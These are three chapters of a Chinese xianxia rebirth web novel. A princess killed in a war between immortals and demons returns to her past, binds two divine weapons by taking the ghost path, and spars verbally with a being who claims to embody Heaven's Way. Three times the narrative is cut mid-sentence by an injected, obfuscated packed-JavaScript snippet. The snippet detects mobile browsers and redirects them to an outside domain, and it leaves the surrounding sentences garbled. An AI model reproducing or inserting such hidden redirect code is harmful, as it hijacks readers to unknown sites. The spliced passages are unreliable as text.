《是谁杀了白月光》 1. 第 1 章 应宁死的那天,果真如预言所说,整个瀛洲都下起了微微细雨。 仙界坐落在层云之上,俯瞰凡间,与日月同辉,也就不可能有雨雪,活了上千年的仙长们乍闻雨声,都纷纷抬头、伸手,满目惊奇,想去感知那雨丝是真是幻。 “是真的!” “瀛洲真的下雨了!” “大抵是那瀛洲玉雨,终于死了……” 雨水从仙界的至高点玉京城一路向下,路过瀛洲,飘向人间,最终落入魔界的同悲谷,连同所有仙、魔的惊声议论,传入应宁耳中。 瀛洲玉雨? 好熟悉的称呼。 应宁的魂魄出窍,向上飘了一段,面无表情地俯视同悲谷底。正中央的水牢里,自己的身体尤自跪立不倒,全身上下却已不剩一块好肉,如半截入土的骷髅般爬满蛆虫,伶仃细骨的间隙里,还插满了数柄利剑。 哪有半点梨花带雨的样子? 她也不知道,是哪一柄剑,要了她的命。 明明魔尊不想杀她,还想继续折磨她。那么,是仙界的剑吗?她辨认不出。不过这也并不重要。 她只是平静地想,真是奇怪,身为凡人的她,也能魂魄离体,这就是鬼修之道吗?她还是第一次体会到这种玄之又玄的感觉,仿佛眼前笼罩了一层光雾,模糊不清。这也是她被挖去眼球之后,很久都不曾有过的感受了。 “那是谁?” 岸上有仙者问道。 “人间的除夕日常常下雪,却鲜少下雨,这雨滴洁净非常,只能是从瀛洲落下的,看来那就是传闻中的人间公主,应有语。明镜台早在十年前就有预言,她死之日,瀛洲会为她下雨,所以三界将她比作梨花,现在去台前阅览,还能找到当年的记载。” “它?应有语可是绝世美女、魔头心尖儿上的白月光!我曾在平邑远远见过她为乞丐施粥,一身白衣若雪,眉目如画,可谓真仙人,怎会是这具骷髅?它连是男是女都已辨认不清了。” “这就是魔头的可怖之处。连对曾经的心爱之人,都能如此狠心,把那样一个美女给糟蹋成这幅田地,屠尽人间百姓,可见此战决不能息!” “不过要我说,应有语也是活该,若非她窃取神女命数,欺骗那魔头的感情在先,魔头怎会迁怒人界?” “就是,归根到底,都是这个贱人的错,还敢称什么瀛洲玉雨,我呸!” “那魔头入魔之前,跟神女也是一对神仙眷侣,好好的一桩婚事,被她给搅黄了,神女心善,不跟凡人一般见识,要换成我,今日非得把她千刀万剐……” 应宁的魂魄继续向上,飘过这群仙者,听力也同视力一般模糊,只能隐约分辨出一位熟识的仙尊声音。 “先走吧,”那仙尊说,“今日已无力再战。” 左右还想再劝:“可现在落雨,魔头灵根有火,正是乘胜追击的好时候。” 仙尊却道:“叛师者,必诛之,无需急于一时。今日抽取灵髓即可撤离,为神女补全命数要紧。” 左右于是得令,滑入谷底,斩下应宁尸体的头颅,连带抽出脊髓,存进乾坤袋中,追随在那仙尊身后,御剑腾云,飞回瀛洲去了。 这回,尸身倒地了。 仙、魔都纷纷撤离,只余应宁的魂魄,没回头,也没抬头,而是在岸上平着飘了许久。 被囚禁半年有余了,她想看看人间,去到她母皇父后的坟前,看看能否与家人团聚。 但她在同悲谷岸上飘出十余里路,目下仍是一片荒芜,寸草不生。 飘过百里路后,她的魂魄已经趋近消散,方能偶尔路过一两具饿死的尸体。 再千里之后,饿殍遍地…… 平邑作为京都,曾是人间最繁华的一城,京郊风景壮丽,城内车马如流,如今却已全部化为灰烬,不剩几个活人了。而没有活人祭奠,鬼魂也很快不复存在。 应宁就是在这时,失去了意识。 · 再醒来后,应宁仍在平邑,却是四年前的光景了。 一睁眼,她坐在一架去往城内的小马车上。 应宁撩开车帘,愕然看向窗外的车水马龙。 本朝不禁夜,此时正是天黑,有如上辈子仙魔之战时的阴云密布,此时却被如昼的灯市照了个透亮,小商小贩的叫卖声不绝于耳,人流喧哗,马车正在京郊,仿佛就正是她上辈子意识消散时飘到的地方,入眼的景色却完全是两模两样。 上一世发生过的事,就如同一场噩梦,醒了,也就散了。 应宁默默看了片刻,语气平静地问过赶车的两名侍卫,得知这是她拜入仙门后的第十二年腊月。 仙人无寿数,仙界无年月,自然也不过节日,而应宁的生日又正好在除夕,所以每年除夕前,她都会从仙界回人间探亲,同父皇母后、京都百姓一起过年。 应宁八岁拜入仙门,这一年正好二十,算算时间,师弟十八,师妹十六……正是一切开始的时候—— 再过一个月,她的家人,就要在除夕,也就是她的生日当天,被屠杀殆尽。 · 噩梦的开端,源于这次她回家的路上,在马车上做的一场真正的噩梦。 应宁梦见一个满身是血的女鬼,向她伸出手来,祈求道:“不要杀我!求求你,不要杀我!” 这个梦没头没尾,起初她还没有在意,但后来入京,她在宫中住的第二夜,又梦见了那女鬼。 这一次,女鬼明确对她说道:“十天后,求你饶我一命,我必不敢再做恶事,但你若不依不饶,我必有百倍报复!” 应宁虽身在仙门,但毕竟自己只是个凡人,当时又与师门毫无嫌隙,视师门中人若亲人,心中一有疑虑,便立刻写信送去了瀛洲,将此事告知师尊。 随后,师尊便探听到了女鬼所在,决议前去驱鬼除魔。 应宁还没能同家人过年,就跟随师门来到阳关,杀死了那只女鬼。 当时,应宁很是犹豫,只怕梦里的警告成真,也劝阻过师尊、师弟和师妹,但并没有人理会她的警告。 就是从这时起,她忽然发现,相处了十二年的师门变得无比陌生,一切都变了。 后来果然,遭到报复的只有应宁。 应宁师门上下,除她一个,具出身显赫仙门,唯她一个凡人,那女鬼很快就重塑鬼身,回来寻仇,既动不了她师门,就只杀了供奉仙尊的人间皇室。 景朝的王位为禅让制,所以纵使绵延数百年,应家也不过十数口人,那女鬼许是觉得凑不够数,便连带宫中的宫人、侍卫,以及正在议事的臣子,总计一千余数凡人,也都一并杀了。 她永远记得除夕那天。 皇宫里血如河水般涌了满地。 一切发生得无声无息,她夜半时才猛然清醒,穿着一身雪白亵衣,不知为何宫中如此安静,疑惑地走下床,却看见镜子中的自己穿着一身红衣,咧嘴对她笑了。 “瀛洲玉雨,”那女鬼道,“你若要恨,就去恨你那师门吧。这一切皆因他们而起。我之所以留你一命,是因为你即是我——你最终,还是会变成我。” 巧的是,上辈子应宁也死在除夕。 她的生日,也是她全家的忌日,真是讽刺。 鬼道,又称香华道,是超脱三界六道的一种神通,能通未来,也通过去,甚至通前世今生,且只要香火不息,鬼身就永不灭,所以也许当时那女鬼就看到了后来凄惨成鬼状的应宁,也说不定。 思及此,应宁竟仿佛忘了前世的惨状,莫名笑了一声,恰如那女鬼一样诡异。 重生一次,她还是凡人,手无缚鸡之力,无法修行,只能任人宰割。 唯有一点变数。 ——她找到了凡人也能修行的唯一一道。 既然要修行,就要有兵器,应宁身为凡人,没有灵力,不能催动仙器,眼下连件傍身的仙器都没有,只有凡铁,如何能抗强敌? 不过,她那前世的仇人手上,正好就有两件乘手的兵器,甚至不用灵力也能催动。 她同驾车的侍卫道:“两位仙君,劳烦在北门外停车。” 一位侍卫不解道:“殿下,不赶在天黑前进城吗?” “不了,”应宁答,“我要写两封信。” “殿下,”侍卫劝道,“看这天色恐怕要下雪了。” “许久不曾回来,我要一个人逛逛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504337|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剩下的路不远,我自己走回去就好,”应宁却道,“你们帮我将这两封信一个送去瀛洲,一个提前送回宫中。” 两名侍卫面面相觑,十分不解。 “这太危险了!” “殿下,属下不敢从命!” 侍卫们虽算在平邑宫中效力,却都是瀛洲派来的修士,赶马车只是顾忌应宁这个凡人体弱,若由他们自己御剑,改走剑道,半日内往返仙界人间不成问题。 应宁展颜一笑,不容置喙,果断道:“听我的,无事。” 二人被她的笑颜晃得愣了一瞬,唯唯诺诺应下。 公主心系百姓,以前就时常微服私访,体验民情,倒也不是第一次了,而且应宁虽是凡人,却毕竟在仙门修习了一十二载,平邑的凡人确实多半不是她的对手。 于是,马车停在城门外不远处一栋茶楼前。 应宁披上白狐裘,下车进店,走到二楼落座,问店家借来纸笔,第一封先写给爹娘,只说要临时出趟远门,叫他们莫要记挂,第二封则写给师尊,说自己已至平邑,还给师弟师妹们买些人间的小玩意,年后就会如期归来。 写完信,她掏出公主私印,分别加盖在末尾,郑重封缄,交给侍卫,而后靠在窗边,看着窗外枝头的落雪沉思。 过去每次探亲,她都思乡心切,从未像这次一样,近乡情怯。 她不敢、也不打算进城了。 “店家,”目送两名侍卫走远后,她即刻叫来小二,问道,“你们这里可卖马匹?” 从城外买了一匹快马,应宁直奔向南方的云梦泽,孤身去寻那女鬼。 半路上,她先后换了两次衣裳、妆容,掩饰住自己的容貌,还刻意避开驿站,接连换了四五匹马。衣服均是不知被多少人倒过手的旧衣,也是她从未穿过的颜色与样式。 卖旧衣的商家好奇,还大着胆子问她:“仙子,您这样的人物,怎么穿得惯凡人的旧衣服?我这里有更好看的新衣,不若换这件给您?” 应宁浅笑道:“我不过凡人,但你要记得,以后若真同仙者打起交道,万不可用‘人物’这样的字眼。” 仙凡有别。 修仙者,很忌讳自己与“人”之间的区分,连这么个字眼都不能忍。 但她应宁,已经历过削骨剜肉,还有什么是她所不能忍的呢? 与天斗,她一个凡人,手段确实略显尴尬,但既然重生了一次,她不再信天了。 她赌这天道,并非无所不知。 反正踏上这条道后,她已无路可退。 · 两天三夜后,应宁着一身赤红色缺胯袍,头戴黑纱幕离,腰佩宝刀宝剑,赶到了阳关。 这里,就是前世师门驱鬼之地。 阳关以名冲煞,实则魔气四溢,形同阴间。 这里尚且属于人间地界,但与魔界交汇,再往前就是同悲谷了。 应宁闭上眼,仍是满目的鲜红,仿佛还能看见上一世宫中满地是血的画面。 “神仙姐姐,要买朵花吗?” 一声清脆的童声传来。 阳关道上,站着一个双目无神的女孩,抬头呆愣愣地看着应宁。女孩大概十四五岁的模样,与应宁师妹年纪仿佛,然形销骨立,衣衫褴褛,灰头土脸,双手捏着一只破花篮,唯独篮子里的鲜花干净整齐,开得异常鲜妍,透着丝丝诡异。 一瞬之间,女孩那张蘸着黑泥的脸,与宫中死去的一千多张沾血的脸纷纷重叠在一起。 就是为了救这个女孩,应宁的师门将那女鬼杀了,杀得干脆利落,毫不拖泥带水,似乎从没考虑过“报复”二字。 是死一个,还是死一千? 应宁忽然自嘲地笑了一声。 “你叫什么名字?”她明知故问。 女孩答:“我叫湘儿,湘竹的湘。” “湘儿,”应宁掏出一锭银子,道,“我路过此地,听说最近很是热闹,是有什么喜事,你能带我去看看吗?” 湘儿的眼神亮了起来,宝贝地接过银子,揣进怀中,连连点头道:“好啊好啊,就在前面不到两里路的码头,我们每年这个时候,都要给云梦大泽的河伯娶媳妇。” 2. 第 2 章 “就在前面不到两里路的码头,我们每年这个时候,都要给云梦大泽的河伯娶媳妇!” “哦?” 应宁莫名笑了一声,才道:“两里路,这么远,你就光着脚走到这里来卖花吗?” 湘儿愣了一下,低头看看自己的脚,不好意思地将更加乌黑的右脚藏在左腿后。 “敢不敢骑马?”应宁却恍若未见,问道,“你给姐姐指路,姐姐带你一程,如何?” 湘儿抬头,神情更加愣怔。 “来。” 应宁不再等她回答,而是弯腰直接将她拎到马上。 湘儿坐在应宁身前,扭捏地指了个方向,生怕后背蹭脏应宁的衣服,然而马儿一动,就怕得不敢再动,任由她将自己半搂在怀中。 路上,应宁先是问了几个已知的问题,又问了些上一世无心去问的。 “河伯的媳妇是怎么娶的?” “各家轮班,每年都选一个出来,”湘儿低声答,“今年就是湘儿。” “是谁选的你?你家里几口人?可有别的姐妹?” 湘儿却道:“我记不清了。” 这有些古怪。 应宁又问:“县丞家里也要选女儿吗?” 湘儿答:“是啊,谁家都不能例外。” “那如果轮到没有生女儿的人家呢?” 湘儿答非所问道:“没有女儿,河伯就会发怒,大泽泛滥,岸上长不出庄稼,洪水还会把我们都冲进同悲谷里。” 她的神志明显不太清晰,答话也容易颠三倒四,应宁便没有多问。 反而是湘儿,怯生生问了她几个问题。 “神仙姐姐,你是来救我的吗?” 应宁反问她:“你怎么知道?” 湘儿道:“听说公主体恤百姓,经常入世救人,整治过好多贪官污吏,姐姐你这么漂亮,要是穿着白衣服,就是公主的样子。” 应宁笑道:“那我若不是呢?” 湘儿又乱答道:“姐姐穿红衣服,也好看。” 应宁便笑而不语。 小镇围绕码头而建,去码头的路上却看不见几个村民,几乎没有女人,男人们则无论老幼,见到骑马的应宁,看出是女着男装,就都紧盯着不放,神色猥琐,但碍于应宁腰间的刀剑,到底没有一个敢上前。 这一路道上都没有铺砖,满是泥泞。路过的家家户户都是破烂土屋,门窗紧闭,多数甚至没有窗子,更不点灯。 阳关在建制上属镇,实际上却比最偏远的村子都要寒酸。 “到了!” 越靠近码头,就越是人烟稀少,到得码头前,只见岸上码了好几口箱子的彩礼,四周却空无一人。 这小镇穷困潦倒,竟似乎全然不怕贼偷。 应宁眯起眼睛,将湘儿拎下马,没松手,按着她的肩膀自己下马,又继续搭着她肩膀,与她一同牵马走到河边,先单手打开了两箱陪送,却见里面并无布匹,全是挤挤挨挨的鲜花,与湘儿提篮中的别无二致。 她挨个开完所有箱子,随手将鲜花倾倒入河水中。 云梦大泽有数万里之广,收束上百条长河,最终东流入海,被凡人称为天下之匙。平邑附近的水质都清澈见底,到了这却乌黑粘稠,成箱的鲜花入水也激不起一片涟漪,如被侵吞一般,直直向下沉去,明显已有魔物寄生。 倒完了花,应宁向河面看去,按着湘儿的右手没有松开,抬左手,撩开了幕离的黑纱。 那河面上,只有应宁一个人的倒影。 水中人露出笑容。 “你终于来了,”她说道,“瀛洲玉雨。” “我今日来,是有求于你,”应宁道,“但我有一个条件。” 那倒影伸出鲜红的舌头,舔了一圈唇角,笑问:“你有什么资格来跟我讲条件?” “我可以将你带出这片深潭,以我长宁长公主的身份,毕生将你供奉,”应宁也笑了,“但相对的,你也要从此为我一人所用,如臂使指。” “哈哈哈哈哈哈!” 倒影尖锐的笑声回荡在水面上,仿佛听见了什么笑话。 “应有语,整个阳关都是我一个人的地盘,你已无天命护体,还敢只身前来,现在也不过是我的一捧香火灰了,你驱使我?笑话!今生我留你魂魄不灭,已是本尊恩典!” 倒影不再装模作样,逐渐幻化出原型,是一只穿着破烂婚服、长发凌乱糊在脸上、青面獠牙的枯瘦女鬼。 “本尊?” 应宁嗤笑一声。 “你吸收的魔气,还不够传芳君遗留在此的万分之一,还真把自己当成魔尊了?” 女鬼的笑容凝固在脸上,面容逐渐扭曲。 “你知道什么?”她尖细的声线骤然压低,几不能闻。 看来女鬼的鬼力也不过如此,不能通晓上辈子发生的一切细节。上辈子,在她被杀后,这河里就被打捞出来了两把神兵。 应宁不紧不慢道:“千百年前,仙魔大战惊天动地,改变九州版图,劈出了万丈深渊的同悲谷,仙尊馨烈侯与魔尊传芳君同时陨落,尸骨融汇入天地灵脉,滋养万物,但他们的兵器却俱是神器,不毁不灭。 “馨烈侯为了镇压传芳君的‘难容’,将其神武‘峥嵘’与之一并沉入云梦大泽,至今不知所踪。” 女鬼鲜红的瞳仁不住颤动,打转。 “而今三界轮回将至,正不压邪,峥嵘应当已经压制不住难容的魔气了。”应宁说到这里,感觉右手的湘儿全身发抖,于是轻捏了捏她的后颈,继续道,“当初我就有疑惑,为何你能在千里之外的平邑作祟,思来想去,唯有水源相通,这一个线索而已。” 那宫中倒映出的女鬼的铜镜底,就是盛自天下之匙的铜盆。 既然有如此驭水之术,那么想必寻到两把神武,也不在话下。 “你……”女鬼鲜红的瞳孔骤然缩成一个红点,“你怎会知道?你方才,并不是在对我讲话!” 是的。 让应宁与杀过她全家的仇人合作,绝无可能。 她有所求、提条件、未来毕生供奉、又要将其驱使的,从一开始就另有其人。 “不可能!你一介肉、体凡胎,不可能唤得起峥嵘剑!” 兵器分凡、仙、神三品。 凡人用凡器,仙人用仙器,世间能用得动神兵的,唯有半步化神修士。 峥嵘剑是百年前馨烈侯的佩剑,连应宁师门上下的第一仙门都无人能催动,应宁一个凡人,怎么可能唤得动它? 女鬼从水中猛探出半身,张开血盆大口,向应宁扑去。 “谁说,我要的是峥嵘了?” 应宁却不退不让,单手背后,厉声喝道:“难容,还不速速给本宫现身!” 鬼道,归魔道。 鬼力通神。 凡入此道者,无论实力高下,心境皆入半步化神! 女鬼发出尖啸。 “这不可能!” 女鬼才是真正身死后修成的正统鬼道,她尚且不能用动难容,应宁一个活人,怎么能用得动?! 可她虽嘴上不信,身形却显然已经怯了,猛向后撤,但还是慢了一步。 水底霎时间弹出无数闪着淡淡火光的正红色丝线,转眼就将她如茧般束缚在半空中。 形势瞬间调转。 女鬼不愧为鬼,立刻变脸,求饶声从红茧中急迫溢出:“公主稍待!难容乃魔修至尊,您只研习过瀛洲仙术,不知修魔险恶,凡人本无灵力,更不可能驾驭神武,我在阳关固守百年,已摸清演化魔气的门路,您留我一命,我必悉数传授!” 应宁却淡淡道:“都是废话。神武业已生灵,自会吸收天地灵气驾驭自身,我既然能喊得动它,就无需你来指手画脚。” 女鬼的声音已窒息到嘶哑,仍挣扎着道:“我、我修身成鬼,只要香华道上香火不熄,魂灵就永不消灭,你今日若杀了我,与我结仇,他日我卷土重来,必会百倍报复……” 这句话,她已经说过一次了。 与记忆中的一模一样。 应宁眼前晃过一抹鲜红,仿佛又回到了那座鲜血宫殿。 …… 上一世,也是在阳关河畔。 应宁听见了自己犹豫的声音。 “可是她说,她会报复的……” 一个冷若冰霜的声音答她道:“眼下当务之急,是除魔救人。” …… 后来,应宁哭喊着跌坐在血泊之中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504338|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我说了,她会报复!你们为什么不听我的!” 一个清脆如银铃般的女声驳斥她道:“你醒醒吧,师姐!难道你要我们对湘儿见死不救吗?” 那冷漠的声音也再次回响在她耳畔。 “看看你自己这幅样子,这是你爹娘对你的教导吗?” …… 一阵耳鸣过后,是应宁父后的斥责。 “身为大景朝皇室,要时刻谨记,为了自己的子民,虽千万人吾往矣,连这点胆魄都没有,畏首畏尾,我平时是怎么教你的?” 母皇的叹息紧随其后,一声声砸在她的脊梁骨上。 “这孩子,难怪不是修仙的材料……哎……” …… “呵呵……” 回忆至此,应宁不禁又笑出声,还笑了许久。 从前,她是个常常微笑的人,凡是见过她的,无论仙魔凡人,都会给出一个“温婉如玉”的评价,但自从重生归来后,她笑得果真越来越像那女鬼了。 “凡人之身,属实累赘,但修身成鬼,竟然就能不惧仙魔了,”应宁笑道,“好,那香华道上,你等着我。” 说完,她左手伸向前方,一握空拳,红线便由四面八方向中间挤压,迅速结为一团掌心大的玲珑小球,将黑气尽数蒸腾。 不过一息之间,那女鬼已人间蒸发。 红线重新微微散开,小球剥丝抽茧,变作一只勾着鸳鸯的镂空绣球,正中镶嵌一枚玲珑骰子,七面皆白,唯余一面涂有一个黑点,随后乖巧飞向应宁。 应宁握住绣球,向后用力一拽,钓鱼般又从水中扯出了一柄灰暗古朴的长剑,飞在半空。 这长剑无鞘,通体覆盖乌黑魔气,锈迹斑斑,钝得仿佛没有开刃,剑身上缠着数圈红线。 应宁松开握着绣球的左手,去接那柄长剑,绣球儿就弹成一截短短剑穗,红线牢牢缠死剑柄,垫在应宁掌心。 “有何不可?我上辈子,就用得动。” 她低头看着手中两把神武,感受着掌心灼热的温度,持剑一笑。 “何况我本就是死过一次、从炼狱里爬出来的厉鬼。” · 女鬼已除,池水中的魔气逐渐消散,不再浓黑如墨,天光也稍微打亮,透出水下的一点光景。 哪有什么鲜花?不过是几箱淤泥变作的障眼法。 伊洛传芳是万花之王,传芳君以牡丹为名,最是雍容华贵,也难怪他的神武难容吃不下这样的香火。 应宁的右手始终捏着湘儿的后颈,此刻才回头看她,见她两股战战,手中竹篮里的淤泥正一滴滴往下掉,额头上满是黑乎乎的汗水。 “别怕,”应宁拍了拍她,道,“河伯已经死了。” 湘儿膝盖一软,跪倒在地。 “您、您真是活神仙,”湘儿低头握住她的裙摆,颤声道,“我、我替阳关全镇的人谢谢您的大恩大德,永世难忘!” 应宁并不回应,只问道:“那我要走了,你愿意跟着我吗?” 湘儿擦了一把额头的汗水,埋头给她磕头道:“我、我还是留在阳关吧,我想为这里再做些力所能及的事。” “哼,”应宁却轻笑道,“不愿意也没有办法,你是走是留,今日都由不得你。” 既然上一世是为了救她才引出的后续,这一世应宁就不可能留她在这里再生事端。 但应宁话音刚落,湘儿还没有回复,不远处忽然传来一道如环佩相击的清朗男声—— “你是走是留,今日也由不得你。” 应宁再回过头,见自己的马儿早就被惊跑了,但没跑多远。 一个白衣人正牵着她马,向她信步走来。 他满头白发,束白玉高冠,双眼上覆着一条白纱,面如冠玉,露出的额、鼻、唇无处不精致,腰间别着一把白玉骨折扇,全身上下白璧无瑕,唯独扇底坠了一条红色丝绦的扇坠儿,一路走来,雪白的靴底竟不沾一滴泥泞,宛如个雪捏玉琢的画中仙人。 “啧……” 应宁沉下脸来,低喃道:“云中太守,来得够快的。” 白衣人微一歪头,对她淡然一笑,明明通身透着一股冷气,却霎时间如有一股春风向应宁扑面而来。 3. 第 3 章 “云中太守,来得够快的。” 白衣人微微一笑,向应宁走来,淡然道:“还是慢了一步。” 即使是作为仙者,他的声音也过于动听了,语调和煦温柔,声量不高不低,音色清凌凌如环佩相击,仿若自带一阵回音。 “瀛洲玉雨,一十二年不见,你食言了。”他道。 这个称呼由他来唤,就唤得格外好听,可应宁却起了一身的鸡皮疙瘩。 “所以呢?” 应宁笑着,眯眼歪了歪头。 “你要押送我回仙界吗?” 白衣人点头答:“正是。” “但是呢,按理来说,”应宁的余光始终盯着湘儿,袖口也暗暗伸出一根红线,缠在了湘儿的脖子上,耍赖道,“我现在应该在京都才对吧?” 白衣人果然顿住了,高耸的眉峰皱起,一副十足惹人怜惜的模样,沉吟道:“确实如此,但如今你手持两件神器……” 他双眼蒙着白纱,却对眼前发生的事一清二楚,一言一行完全看不出是瞎子。 按上辈子来看,应宁现在应该在平邑的宫中与家人相聚,神器也应该还沉在水底。 应宁打量他的神色,试探道:“所以呢,馨烈侯与传芳君都陨落多少年了,难道这两把兵器还能是有主的不成?” 上辈子,它们确实另有主人。 应宁与师门一起来到这里驱鬼,意外从湖底打捞起了这两把神武,峥嵘被传给了最善用剑的师弟,难容则被传给了爱打扮的师妹,应宁一个凡人,当然是用不到这些的,她也不会因此而羡慕嫉妒。 因为他们会保护她。 他们曾如是说。 …… 但现在,兵器认了新的主人,除非应宁神死魂灭,否则就不会再易主了。 白衣人也不知如何处理,想了想,道:“还是先回仙界再议吧。” 果然,同应宁猜测的一样,他并不是全知的。 那就好说了。 “你不知道,但有人知道,”应宁信口胡诌道,“或者准确的说,是有鬼知道。我刚刚在这里降服了一只女鬼,她告诉我,我本来就是这两把神武的主人,只是我来得比天意所示要早了一步。” 白衣人仍眉头紧皱,难断她话中真假。 “神差鬼使,香华道超脱仙魔诸道,确实能拥有比肩神明的视野,”他低声道,“但我并没有听见,她说过你说的这话啊……” 应宁小指勾着红线,来回踱步,从各个方向打量着面前的人。 “三界之大,熙熙攘攘,难道你还能把所有人说的所有话都听清不成?” 白衣人竟点点头,道:“正是,我没有听见,便是她没有说,你在说谎。” 应宁睁大眼睛,配合着自己的声线,表演道:“怎么可能?人鬼心中所想,难道你也能听见?我与这女鬼同修香华道,自然心诚则灵,神识就能互相沟通,你一个修无情道的,怎么能听见?” 白衣人这才信了。 “好,但就算你所言是真,又如何证实她所言为真?” 应宁早已想好说词,道:“那只鬼说了,本来要挨到除夕当天,我才会同师门一起前来捉她,你等到那天看看,看我师尊他们会不会来,不就得了?” 白衣人摇头,还是坚持道:“无需再等,我现在带你回明镜台,即刻便可验明真伪。” “你还是不信我,哎……” 应宁长叹出一口气,语调低沉,低头落寞地踢了一脚路边石子,实则内心欣喜若狂。 果然,他与明镜台并非一体。 “我问你,”应宁谆谆善诱道,“为什么十二年前,我说了,你就答应,现在却不信了?” 白衣人取下腰间折扇,轻摇扇坠儿,仍淡笑道:“这与信任无关。十二年前,我会答应你,是因为只要你顺天而为,这点要求无关紧要,但现在,你的要求就是逆天而行,阻拦你继续忤逆天道,是我的指责所在。” 应宁也还是笑。 哈哈,天道。 不可笑吗? …… 十二年前,应宁才八岁,还是眷恋爹娘的年纪,因为一句“天意”,明明还是个连御剑都不能的凡人小孩,就被师尊带上了瀛洲,收入仙门。 她不肯,想逃,绝不配合,便被师尊押送致玉京,交由天道处置。 在那层云之上的最顶端,竖立着一尊不可名状的白玉雕像。 谁都没有见过他真正的模样,但谁都听说过的他的名字: 云中太守。 高处不胜寒。天下分五城十二楼,玉京是最高的一层。天机处的冷,是一种彻骨之痛,但白衣人的出现,带来了一阵暖流。 八岁的应宁抬头问他:“我为什么要顺应天道?” 白衣人反问她:“你为什么要逆天而为?” 她用稚嫩的声线答道:“我怕痛。我愿意为三界众生死,这是景朝皇室必须牢记在心的誓言,虽千万人吾往矣,可是我怕痛。死,应当会很痛。” 白衣人柔声笑道:“那我取走你的痛觉,此后你就再不会痛了。” …… 骗子。 应宁抬手揪住自己胸口的衣料。 难容通晓人性,红线立刻从小指爬满她整张手掌,如手套般轻柔覆盖住她五指。 “那我再问你,”应宁继续道,“如果我心不甘情不愿,你还是执意带我回去,那我从今往后的每一步路,迈的是左脚亦或是右脚,你都要看着我走不成?” 白衣人曲起骨节分明的纤长食指,以扇向面前的空中轻点一下,笑容仍如春风般和煦,口里吐出的话语却令人胆寒:“如果你以后的每一步都逆天而为,那么我可以将你的全身都加以束缚,如提线木偶般操纵,以达到你每一步都顺应天道的目的。” 应宁看着他,心道,八岁的自己是还没长脑子吗? 为何会被这样的一个金玉其外的东西哄骗住呢? “我说什么话,你也管得了吗?”她问。 “可以。” 白衣人再以扇轻点。 他还是笔挺地站在原地,应宁却被一股外力给捏住了下巴,身不由己地张开嘴唇,说道:“你看。” 难容随之飞起,却也被崩住了一样,在空中徒劳挣动。 “就像这样。” 白衣人说完,扇子一收,卸了力,应宁才得以喘息。 方才她驱使难容时,已经用尽全力了,但对方却连扇面都没有打开过,十分悠哉。 “难容是挣不过我的,”白衣人劝她道,“天地万物,都争不过天道,尤其是难容。天理难容,你不知道它这个名字的出处吗?即使是当年的传芳君,最终也只能顺天意,尘归尘。” 不愧是云中太守。 远能倾听万物,近能一招制敌,无声无息,无色无味。 “咳咳……是风吗?”应宁捂住嗓子,并不回应他的劝说,继续冷静套话,“你是风灵根?” 白衣人点头。 “天灵根?” 灵根分上中下三品,金木水火土五行,二灵根为上品,三灵根中品,四灵根下品,天灵根则只有一个灵根,不在其中,“风”又不在五行之中,属异灵根,异灵根的天灵根,实力是极为恐怖的,那就真的难办了。 “你的问题太多了,”白衣人始终秉持着一种上位者特有的自信,不解道,“如果我悉数回答了,你就会同意以后都顺应天意吗?” 应宁眼都不眨,道:“对。” “是的,”白衣人耐心答,“我只有风这一种灵根。” 应宁懂些拳脚,但天赋不多,从前能对付下品或是炉鼎水平的修士,现在手持神武,自认对上上品灵根的金丹修士亦有一战之力,但与一个倾尽一切的凡人相比,他的能力过于变态了,还是得另想办法,以后再伺机动手。 这一世,应宁再不信天。 她反而坚信,天下三千大道,哪怕是天道,也必有破绽。 来阳关路上,她把上辈子穿了一辈子的白衣换做红衣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504339|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是为了别人,正是为了拖住这个云中太守—— 果然,他就算不瞎,也必是色盲。 只是这一个破绽还远远不够。 要耐心一个个揪出来…… 才能抓住机会,一击必杀! “哦,”应宁沉重地点头道,“那下一个问题,他们说,你是天道化身,对不对?” 白衣人点头。 “但明镜台记载的天意,你却不能感知?” 对这一问,他第一次犹豫起来,不过最终还是点了头。 “三界皆知,明镜是通晓古今的神器,”应宁又开始踱步,道,“你说你是天道,却连天意都不知道,还要押送我去明镜台看过才能辨别真伪,那你又是不是在说谎?” “我不会说谎,我即天道。” 他的语气中竟有些薄怒! 那张脸生动起来,更显夺目耀人。 应宁却只是在心中嘲笑,当然,面上是不敢露出一丝声音的。 “那么,我可不可以这样认为,”她终于抛出了诱饵,“你只是一个天道的执行人,明镜才是真正的天道……” “错!”白衣人正色打断了她,扇子也向前递了半臂远,“我才是天道。我生来即是天道,是云中太守,镇守三界之神,明镜只是负责记载古往今来的工具而已。” “嗯……”应宁从嗓子里挤出了一声轻哼,“可你确实是连天意都不知道,就敢说自己的意思就是天意呢。” 白衣人沉默了。 